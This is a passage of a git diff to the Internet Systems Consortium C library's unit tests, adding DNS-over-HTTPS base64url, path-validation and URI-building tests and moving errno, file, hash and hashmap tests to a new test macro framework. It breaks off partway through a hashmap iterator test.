+	{
+		char test[] = "PDw_Pz8-Pg%3D%3D"; /* percent encoded "==" at the
+						     end */
+		res_len = 0;
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		res_len = 0;
+
+		res = isc__nm_base64url_to_base64(mctx, NULL, 31231, &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+}
+
+ISC_RUN_TEST_IMPL(doh_base64_to_base64url) {
+	char *res;
+	size_t res_len = 0;
+	/* valid */
+	{
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4";
+		char test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4=";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw";
+		char test[] = "YW55IGNhcm5hbCBwbGVhcw==";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
+		char test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3U";
+		char test[] = "YW55IGNhcm5hbCBwbGVhc3U=";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw";
+		char test[] = "YW55IGNhcm5hbCBwbGVhcw==";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char res_test[] = "PDw_Pz8-Pg";
+		char test[] = "PDw/Pz8+Pg==";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char res_test[] = "PDw_Pz8-Pg";
+		char test[] = "PDw/Pz8+Pg==";
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  NULL);
+		assert_non_null(res);
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* invalid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
+		res_len = 0;
+
+		res = isc__nm_base64_to_base64url(mctx, test, 0, &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		char test[] = "";
+		res_len = 0;
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		char test[] = "PDw_Pz8-Pg==";
+		res_len = 0;
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		char test[] = "PDw_Pz8-Pg%3D%3D"; /* percent encoded "==" at the
+						     end */
+		res_len = 0;
+
+		res = isc__nm_base64_to_base64url(mctx, test, strlen(test),
+						  &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		res_len = 0;
+
+		res = isc__nm_base64_to_base64url(mctx, NULL, 31231, &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+}
+
+ISC_RUN_TEST_IMPL(doh_path_validation) {
+	assert_true(isc_nm_http_path_isvalid("/"));
+	assert_true(isc_nm_http_path_isvalid(ISC_NM_HTTP_DEFAULT_PATH));
+	assert_false(isc_nm_http_path_isvalid("laaaa"));
+	assert_false(isc_nm_http_path_isvalid(""));
+	assert_false(isc_nm_http_path_isvalid("//"));
+	assert_true(isc_nm_http_path_isvalid("/lala///"));
+	assert_true(isc_nm_http_path_isvalid("/lalaaaaaa"));
+	assert_true(isc_nm_http_path_isvalid("/lalaaa/la/la/la"));
+	assert_true(isc_nm_http_path_isvalid("/la/a"));
+	assert_true(isc_nm_http_path_isvalid("/la+la"));
+	assert_true(isc_nm_http_path_isvalid("/la&la/la*la/l-a_/la!/la\'"));
+	assert_true(isc_nm_http_path_isvalid("/la/(la)/la"));
+	assert_true(isc_nm_http_path_isvalid("/la,la,la"));
+	assert_true(isc_nm_http_path_isvalid("/la-'la'-la"));
+	assert_true(isc_nm_http_path_isvalid("/la:la=la"));
+	assert_true(isc_nm_http_path_isvalid("/l@l@l@"));
+	assert_false(isc_nm_http_path_isvalid("/#lala"));
+	assert_true(isc_nm_http_path_isvalid("/lala;la"));
+	assert_false(
+		isc_nm_http_path_isvalid("la&la/laalaala*lala/l-al_a/lal!/"));
+	assert_true(isc_nm_http_path_isvalid("/Lal/lAla.jpg"));
+
+	/* had to replace ? with ! because it does not verify a query string */
+	assert_true(isc_nm_http_path_isvalid("/watch!v=oavMtUWDBTM"));
+	assert_false(isc_nm_http_path_isvalid("/watch?v=dQw4w9WgXcQ"));
+	assert_true(isc_nm_http_path_isvalid("/datatracker.ietf.org/doc/html/"
+					     "rfc2616"));
+	assert_true(isc_nm_http_path_isvalid("/doc/html/rfc8484"));
+	assert_true(isc_nm_http_path_isvalid("/123"));
+}
+
+ISC_RUN_TEST_IMPL(doh_connect_makeuri) {
+	struct in_addr localhostv4 = { .s_addr = ntohl(INADDR_LOOPBACK) };
+	isc_sockaddr_t sa;
+	char uri[256];
+
+	/* Firstly, test URI generation using isc_sockaddr_t */
+	isc_sockaddr_fromin(&sa, &localhostv4, 0);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, NULL, 0, ISC_NM_HTTP_DEFAULT_PATH, uri,
+			    sizeof(uri));
+	assert_true(strcmp("https://127.0.0.1:443/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, NULL, 0, ISC_NM_HTTP_DEFAULT_PATH, uri,
+			    sizeof(uri));
+	assert_true(strcmp("http://127.0.0.1:80/dns-query", uri) == 0);
+
+	/*
+	 * The port value should be ignored, because we can get one from
+	 * the isc_sockaddr_t object.
+	 */
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, NULL, 44343, ISC_NM_HTTP_DEFAULT_PATH,
+			    uri, sizeof(uri));
+	assert_true(strcmp("https://127.0.0.1:443/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, NULL, 8080, ISC_NM_HTTP_DEFAULT_PATH,
+			    uri, sizeof(uri));
+	assert_true(strcmp("http://127.0.0.1:80/dns-query", uri) == 0);
+
+	/* IPv6 */
+	isc_sockaddr_fromin6(&sa, &in6addr_loopback, 0);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, NULL, 0, ISC_NM_HTTP_DEFAULT_PATH, uri,
+			    sizeof(uri));
+	assert_true(strcmp("https://[::1]:443/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, NULL, 0, ISC_NM_HTTP_DEFAULT_PATH, uri,
+			    sizeof(uri));
+	assert_true(strcmp("http://[::1]:80/dns-query", uri) == 0);
+
+	/*
+	 * The port value should be ignored, because we can get one from
+	 * the isc_sockaddr_t object.
+	 */
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, NULL, 44343, ISC_NM_HTTP_DEFAULT_PATH,
+			    uri, sizeof(uri));
+	assert_true(strcmp("https://[::1]:443/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, NULL, 8080, ISC_NM_HTTP_DEFAULT_PATH,
+			    uri, sizeof(uri));
+	assert_true(strcmp("http://[::1]:80/dns-query", uri) == 0);
+
+	/* Try to set the port numbers. */
+	isc_sockaddr_setport(&sa, 44343);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, NULL, 0, ISC_NM_HTTP_DEFAULT_PATH, uri,
+			    sizeof(uri));
+	assert_true(strcmp("https://[::1]:44343/dns-query", uri) == 0);
+
+	isc_sockaddr_setport(&sa, 8080);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, NULL, 0, ISC_NM_HTTP_DEFAULT_PATH, uri,
+			    sizeof(uri));
+	assert_true(strcmp("http://[::1]:8080/dns-query", uri) == 0);
+
+	/*
+	 * Try to make a URI using a hostname and a port number. The
+	 * isc_sockaddr_t object will be ignored.
+	 */
+	isc_sockaddr_any(&sa);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, "example.com", 0,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("https://example.com:443/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, "example.com", 0,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("http://example.com:80/dns-query", uri) == 0);
+
+	/* Try to set the port numbers. */
+	isc_sockaddr_setport(&sa, 443);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, &sa, "example.com", 44343,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("https://example.com:44343/dns-query", uri) == 0);
+
+	isc_sockaddr_setport(&sa, 80);
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, &sa, "example.com", 8080,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("http://example.com:8080/dns-query", uri) == 0);
+
+	/* IPv4 as the hostname - nothing fancy here */
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, NULL, "127.0.0.1", 8080,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("http://127.0.0.1:8080/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, NULL, "127.0.0.1", 44343,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("https://127.0.0.1:44343/dns-query", uri) == 0);
+
+	/*
+	 * A peculiar edge case: IPv6 given as the hostname (notice
+	 * the brackets)
+	 */
+	uri[0] = '\0';
+	isc_nm_http_makeuri(false, NULL, "::1", 8080, ISC_NM_HTTP_DEFAULT_PATH,
+			    uri, sizeof(uri));
+	assert_true(strcmp("http://[::1]:8080/dns-query", uri) == 0);
+
+	uri[0] = '\0';
+	isc_nm_http_makeuri(true, NULL, "[::1]", 44343,
+			    ISC_NM_HTTP_DEFAULT_PATH, uri, sizeof(uri));
+	assert_true(strcmp("https://[::1]:44343/dns-query", uri) == 0);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(mock_doh_uv_tcp_bind, setup_test, teardown_test)
+ISC_TEST_ENTRY(doh_parse_GET_query_string)
+ISC_TEST_ENTRY(doh_base64url_to_base64)
+ISC_TEST_ENTRY(doh_base64_to_base64url)
+ISC_TEST_ENTRY(doh_path_validation)
+ISC_TEST_ENTRY(doh_connect_makeuri)
+ISC_TEST_ENTRY_CUSTOM(doh_noop_POST, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(doh_noop_GET, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(doh_noresponse_POST, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(doh_noresponse_GET, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(doh_timeout_recovery_POST, setup_test,
+		      doh_timeout_recovery_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_timeout_recovery_GET, setup_test,
+		      doh_timeout_recovery_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_POST, setup_test, doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_GET, setup_test, doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_POST_TLS, setup_test, doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_GET_TLS, setup_test, doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_POST_quota, setup_test,
+		      doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_GET_quota, setup_test, doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_POST_TLS_quota, setup_test,
+		      doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_one_GET_TLS_quota, setup_test,
+		      doh_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_POST, setup_test, doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_GET, setup_test, doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_POST_TLS, setup_test, doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_GET_TLS, setup_test, doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_POST_quota, setup_test,
+		      doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_GET_quota, setup_test, doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_POST_TLS_quota, setup_test,
+		      doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_two_GET_TLS_quota, setup_test,
+		      doh_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_GET, setup_test, doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_POST, setup_test, doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_GET_TLS, setup_test, doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_POST_TLS, setup_test,
+		      doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_GET_quota, setup_test,
+		      doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_POST_quota, setup_test,
+		      doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_GET_TLS_quota, setup_test,
+		      doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_recv_send_POST_TLS_quota, setup_test,
+		      doh_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(doh_bad_connect_uri, setup_test,
+		      doh_bad_connect_uri_teardown)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/errno_test.c b/tests/isc/errno_test.c
similarity index 86%
rename from lib/isc/tests/errno_test.c
rename to tests/isc/errno_test.c
index 47fe24b9b7..fbfe56ad4e 100644
--- a/lib/isc/tests/errno_test.c
+++ b/tests/isc/errno_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,9 +11,9 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <errno.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
 #include <stddef.h>
@@ -25,6 +27,8 @@
 #include <isc/result.h>
 #include <isc/util.h>
 
+#include <tests/isc.h>
+
 typedef struct {
 	int err;
 	isc_result_t result;
@@ -85,13 +89,10 @@ testpair_t testpair[] = { { EPERM, ISC_R_NOPERM },
 			  { 0, ISC_R_UNEXPECTED } };
 
 /* convert errno to ISC result */
-static void
-isc_errno_toresult_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_errno_toresult) {
 	isc_result_t result, expect;
 	size_t i;
 
-	UNUSED(state);
-
 	for (i = 0; i < sizeof(testpair) / sizeof(testpair[0]); i++) {
 		result = isc_errno_toresult(testpair[i].err);
 		expect = testpair[i].result;
@@ -99,23 +100,10 @@ isc_errno_toresult_test(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_errno_toresult_test),
-	};
+ISC_TEST_LIST_START
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
+ISC_TEST_ENTRY(isc_errno_toresult)
 
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/file_test.c b/tests/isc/file_test.c
similarity index 87%
rename from lib/isc/tests/file_test.c
rename to tests/isc/file_test.c
index d1d6a956e7..6b75ba2490 100644
--- a/lib/isc/tests/file_test.c
+++ b/tests/isc/file_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,9 +11,9 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <fcntl.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
 #include <stddef.h>
@@ -26,6 +28,8 @@
 #include <isc/result.h>
 #include <isc/util.h>
 
+#include <tests/isc.h>
+
 #define NAME	  "internal"
 #define SHA	  "3bed2cb3a3acf7b6a8ef408420cc682d5520e26976d354254f528c965612054f"
 #define TRUNC_SHA "3bed2cb3a3acf7b6"
@@ -50,8 +54,7 @@ touch(const char *filename) {
 }
 
 /* test sanitized filenames */
-static void
-isc_file_sanitize_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_file_sanitize) {
 	isc_result_t result;
 	char buf[1024];
 
@@ -86,8 +89,7 @@ isc_file_sanitize_test(void **state) {
 }
 
 /* test filename templates */
-static void
-isc_file_template_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_file_template) {
 	isc_result_t result;
 	char buf[1024];
 
@@ -129,24 +131,11 @@ isc_file_template_test(void **state) {
 	assert_string_equal(buf, "file-XXXXXXXX");
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_file_sanitize_test),
-		cmocka_unit_test(isc_file_template_test),
-	};
+ISC_TEST_LIST_START
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
+ISC_TEST_ENTRY(isc_file_sanitize)
+ISC_TEST_ENTRY(isc_file_template)
 
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/isc/hash_test.c b/tests/isc/hash_test.c
new file mode 100644
index 0000000000..a0a7093209
--- /dev/null
+++ b/tests/isc/hash_test.c
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/hash.h>
+#include <isc/hex.h>
+#include <isc/region.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* Hash function test */
+ISC_RUN_TEST_IMPL(isc_hash_function) {
+	unsigned int h1;
+	unsigned int h2;
+
+	UNUSED(state);
+
+	/* Immutability of hash function */
+	h1 = isc_hash_function(NULL, 0, true);
+	h2 = isc_hash_function(NULL, 0, true);
+
+	assert_int_equal(h1, h2);
+
+	/* Hash function characteristics */
+	h1 = isc_hash_function("Hello world", 12, true);
+	h2 = isc_hash_function("Hello world", 12, true);
+
+	assert_int_equal(h1, h2);
+
+	/* Case */
+	h1 = isc_hash_function("Hello world", 12, false);
+	h2 = isc_hash_function("heLLo WorLd", 12, false);
+
+	assert_int_equal(h1, h2);
+
+	/* Unequal */
+	h1 = isc_hash_function("Hello world", 12, true);
+	h2 = isc_hash_function("heLLo WorLd", 12, true);
+
+	assert_int_not_equal(h1, h2);
+}
+
+/* Hash function initializer test */
+ISC_RUN_TEST_IMPL(isc_hash_initializer) {
+	unsigned int h1;
+	unsigned int h2;
+
+	UNUSED(state);
+
+	h1 = isc_hash_function("Hello world", 12, true);
+	h2 = isc_hash_function("Hello world", 12, true);
+
+	assert_int_equal(h1, h2);
+
+	isc_hash_set_initializer(isc_hash_get_initializer());
+
+	/* Hash value must not change */
+	h2 = isc_hash_function("Hello world", 12, true);
+
+	assert_int_equal(h1, h2);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_hash_function)
+ISC_TEST_ENTRY(isc_hash_initializer)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/hashmap_test.c b/tests/isc/hashmap_test.c
new file mode 100644
index 0000000000..6f2f3d3d7c
--- /dev/null
+++ b/tests/isc/hashmap_test.c
@@ -0,0 +1,436 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/hash.h>
+#include <isc/hashmap.h>
+#include <isc/mem.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* INCLUDE LAST */
+
+#define mctx __mctx
+#include "hashmap.c"
+#undef mctx
+
+typedef struct test_node {
+	uint32_t hashval;
+	char key[64];
+} test_node_t;
+
+static void
+test_hashmap_full(uint8_t init_bits, uintptr_t count) {
+	isc_hashmap_t *hashmap = NULL;
+	isc_result_t result;
+	test_node_t *nodes, *long_nodes, *upper_nodes;
+
+	nodes = isc_mem_cget(mctx, count, sizeof(nodes[0]));
+	long_nodes = isc_mem_cget(mctx, count, sizeof(nodes[0]));
+	upper_nodes = isc_mem_cget(mctx, count, sizeof(nodes[0]));
+
+	isc_hashmap_create(mctx, init_bits, ISC_HASHMAP_CASE_SENSITIVE,
+			   &hashmap);
+	assert_non_null(hashmap);
+
+	/*
+	 * Note: snprintf() is followed with strlcat()
+	 * to ensure we are always filling the 16 byte key.
+	 */
+	for (size_t i = 0; i < count; i++) {
+		/* short keys */
+		snprintf(nodes[i].key, 16, "%u", (unsigned int)i);
+		strlcat(nodes[i].key, " key of a raw hashmap!!", 16);
+
+		/* long keys */
+		snprintf(long_nodes[i].key, sizeof(long_nodes[i].key), "%u",
+			 (unsigned int)i);
+		strlcat(long_nodes[i].key, " key of a raw hashmap!!",
+			sizeof(long_nodes[i].key));
+
+		/* (some) uppercase keys */
+		snprintf(upper_nodes[i].key, 16, "%u", (unsigned int)i);
+		strlcat(upper_nodes[i].key, " KEY of a raw hashmap!!", 16);
+	}
+
+	/* insert short nodes */
+	for (size_t i = 0; i < count; i++) {
+		nodes[i].hashval = isc_hashmap_hash(hashmap, nodes[i].key, 16);
+		result = isc_hashmap_add(hashmap, &(nodes[i]).hashval,
+					 nodes[i].key, 16, &nodes[i]);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	/* check if the short nodes were insert */
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_find(hashmap, &(nodes[i]).hashval,
+					  nodes[i].key, 16, &f);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		assert_ptr_equal(&nodes[i], f);
+	}
+
+	/* check for double inserts */
+	for (size_t i = 0; i < count; i++) {
+		result = isc_hashmap_add(hashmap, NULL, nodes[i].key, 16,
+					 &nodes[i]);
+		assert_int_equal(result, ISC_R_EXISTS);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		result =
+			isc_hashmap_add(hashmap, NULL, long_nodes[i].key,
+					strlen((const char *)long_nodes[i].key),
+					&long_nodes[i]);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_find(hashmap, NULL, upper_nodes[i].key, 16,
+					  &f);
+		assert_int_equal(result, ISC_R_NOTFOUND);
+		assert_null(f);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_find(
+			hashmap, NULL, long_nodes[i].key,
+			strlen((const char *)long_nodes[i].key), &f);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		assert_ptr_equal(f, &long_nodes[i]);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_delete(hashmap, &nodes[i].hashval,
+					    nodes[i].key, 16);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		result = isc_hashmap_find(hashmap, NULL, nodes[i].key, 16, &f);
+		assert_int_equal(result, ISC_R_NOTFOUND);
+		assert_null(f);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		result = isc_hashmap_add(hashmap, NULL, upper_nodes[i].key, 16,
+					 &upper_nodes[i]);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_delete(
+			hashmap, NULL, long_nodes[i].key,
+			strlen((const char *)long_nodes[i].key));
+		assert_int_equal(result, ISC_R_SUCCESS);
+		result = isc_hashmap_find(
+			hashmap, NULL, long_nodes[i].key,
+			strlen((const char *)long_nodes[i].key), &f);
+		assert_int_equal(result, ISC_R_NOTFOUND);
+		assert_null(f);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_find(hashmap, NULL, upper_nodes[i].key, 16,
+					  &f);
+		assert_int_equal(result, ISC_R_SUCCESS);
+		assert_ptr_equal(f, &upper_nodes[i]);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		void *f = NULL;
+		result = isc_hashmap_find(hashmap, NULL, nodes[i].key, 16, &f);
+		assert_int_equal(result, ISC_R_NOTFOUND);
+		assert_null(f);
+	}
+
+	isc_hashmap_destroy(&hashmap);
+	assert_null(hashmap);
+
+	isc_mem_cput(mctx, nodes, count, sizeof(nodes[0]));
+	isc_mem_cput(mctx, long_nodes, count, sizeof(nodes[0]));
+	isc_mem_cput(mctx, upper_nodes, count, sizeof(nodes[0]));
+}
+
+static void
+test_hashmap_iterator(void) {
+	isc_hashmap_t *hashmap = NULL;
+	isc_result_t result;
+	isc_hashmap_iter_t *iter = NULL;
+	size_t count = 7600;
+	uint32_t walked;
+	size_t tksize;
+	test_node_t *nodes;
+
+	nodes = isc_mem_cget(mctx, count, sizeof(nodes[0]));
+
+	isc_hashmap_create(mctx, HASHMAP_MIN_BITS, ISC_HASHMAP_CASE_SENSITIVE,
+			   &hashmap);
+	assert_non_null(hashmap);
+
+	for (size_t i = 0; i < count; i++) {
+		/* short keys */
+		snprintf(nodes[i].key, 16, "%u", (unsigned int)i);
+		strlcat(nodes[i].key, " key of a raw hashmap!!", 16);
+	}
+
+	for (size_t i = 0; i < count; i++) {
+		result = isc_hashmap_add(hashmap, NULL, nodes[i].key, 16,
+					 &nodes[i]);
+		assert_int_equal(result, ISC_R_SUCCESS);
+	}
+
+	/* We want to iterate while rehashing is in progress */
+	assert_true(rehashing_in_progress(hashmap));
+
+	walked = 0;
+	isc_hashmap_iter_create(hashmap, &iter);
+
+	for (result = isc_hashmap_iter_first(iter); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_next(iter))
+	{
+		char key[16] = { 0 };
+		ptrdiff_t i;
+		const uint8_t *tkey = NULL;
+		test_node_t *v = NULL;
+
